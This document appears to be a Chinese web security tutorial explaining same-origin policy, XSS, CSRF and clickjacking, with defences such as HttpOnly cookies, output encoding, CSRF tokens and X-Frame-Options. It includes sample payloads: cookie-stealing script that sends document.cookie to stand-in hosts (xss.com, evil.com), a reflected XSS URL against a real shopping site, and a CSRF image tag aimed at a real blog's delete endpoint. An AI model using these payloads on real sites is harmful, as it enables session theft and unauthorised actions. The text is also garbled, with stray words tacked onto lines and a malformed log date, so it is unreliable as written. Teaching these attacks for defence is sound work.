是一種約定,是瀏覽器最核心也最基本的安全功能,限制了來自不一樣源的document或者腳本,對當前document讀取或設置某些屬性
<script>、<img>、<iframe>、<link>
等標籤均可以跨域加載資源,而不受同源策略的限制javascript
英文全稱:Cross Site Script,XSS攻擊,一般指黑客經過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊
是一種「HTML注入」,用戶的數據被當成了HTML代碼一部分來執行,從而產生了新的語義php
舉個例子:html
https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1
<script>alert('xss')</script>
https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1
,從而alert出xss,但事實倒是已經轉碼了的:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1
好比說,黑客寫下一篇包含惡意javascript代碼的博客文章,文章發表後,全部訪問該博客文章的用戶,都會在瀏覽器中執行這段惡意的javascript代碼,黑客把惡意的腳本保存到服務器端前端
舉個例子:java
原理:首先用一個單引號閉合掉href的第一個單引號,而後插入一個onclick事件,最後再用註釋符"//"註釋掉第二個單引號。點擊此連接,腳本將被執行。git
XSS攻擊成功後,攻擊者可以對用戶當前瀏覽的頁面植入惡意腳本,經過惡意腳本,控制用戶的瀏覽器。這些用以完成各類具體功能的惡意腳本,被稱爲XSS Payload。實際上就是Javascript腳本(或者Flash或其餘富客戶端的腳本),因此XSS Payload可以作到任何javascript腳本能實現的功能
經過讀取瀏覽器的cookie對象,從而發起「cookie劫持」攻擊github
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
經過模擬GET、POST請求操做用戶的瀏覽器(在「cookie劫持」失效時,或者目標用戶的網絡不能訪問互聯網等狀況時會很是有用)web
瀏覽器禁止頁面的Javascript訪問帶有HttpOnly屬性的cookie。(實質解決的是:XSS後的cookie劫持攻擊)現在已成爲一種「標準」的作法
不一樣語言給cookie添加HttpOnly的方式不一樣,好比算法
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
header("Set-Cookie:hidden=value;httpOnly");
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);//true爲HttpOnly屬性
在變量輸出到HTML頁面時,使用編碼或轉義的方式來防護XSS攻擊
具體實施能夠參考:http://www.cnblogs.com/lovesong/p/5211667.html後端
防護方法:分語境使用不一樣的編碼函數
XSS漏洞雖然複雜,可是倒是能夠完全解決的。在設計解決方案時,應該針對不一樣場景理解XSS攻擊的原理,使用不一樣的方法
首先來看個例子:
攻擊者首先在本身的域構造一個頁面:http://www.a.com/csrf.html
,其內容爲<img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" />
使用了一個img標籤,其地址指向了刪除Iid爲156714243的博客文章
而後攻擊者誘使目標用戶,也就是博客主人訪問這個頁面
用戶進去看到一張沒法顯示的圖片,這時本身的那篇博客文章已經被刪除了
原理:在剛纔訪問http://www.a.com/csrf.html頁面時,圖片標籤向服務器發送了一次get請求,此次請求致使了博客文章被刪除
這種刪除博客文章的請求,是攻擊者僞造的,因此這種攻擊就叫作「跨站點請求僞造」
參考上圖,咱們能夠總結,完成一次CSRF攻擊,必須知足兩個條件
CSRF攻擊是攻擊者利用用戶身份操做用戶帳戶的一種攻擊方式
CSRF能攻擊成功的本質緣由:重要操做的全部參數都是能夠被攻擊者猜想到的
CSRF攻擊過程當中,用戶在不知情的狀況下構造了網絡請求,添加驗證碼後,強制用戶必須與應用進行交互
利用HTTP頭中的Referer判斷請求來源是否合法
Referer首部包含了當前請求頁面的來源頁面的地址
缺點:服務器並不是何時都能取到Referer
關於Referer的更多詳細資料:https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html
http://host/path/delete?uesrname=abc&item=123
http://host/path/delete?username=abc&item=123&token=[random(seed)]
因爲Token的存在,攻擊者沒法再構造出一個完整的URL實施CSRF攻擊
更多關於CSRF詳細可參考:
http://host/path/manage?username=abc&token=[random]
,在此頁面用戶須要在這個頁面提交表單或者單擊「刪除」按鈕,才能完成刪除操做,在這種場景下,若是這個頁面包含了一張攻擊者能指定地址的圖片<img src="http://evil.com/notexist" />
,則這個頁面地址會做爲HTTP請求的Refer發送到evil.com的服務器上,從而致使Token泄露)當網站同時存在XSS和CSRF漏洞時,XSS能夠模擬客戶端瀏覽器執行任意操做,在XSS攻擊下,攻擊者徹底能夠請求頁面後,讀取頁面內容中的Token值,而後再構造出一個合法的請求
安全防護的體系應該是相輔相成、缺一不可的
點擊劫持是一種視覺上的欺騙手段。攻擊者使用一個透明的、不可見的iframe,覆蓋在一個網頁上,而後誘使用戶在網頁上進行操做,此時用戶將在不知情的狀況下點擊透明的iframe頁面。經過調整iframe頁面的位置,能夠誘使用戶剛好點擊在iframe頁面的一些功能性按鈕上。
X-Frame-Options HTTP響應頭是用來給瀏覽器指示容許一個頁面可否在
<frame>、<iframe>、<object>
中展示的標記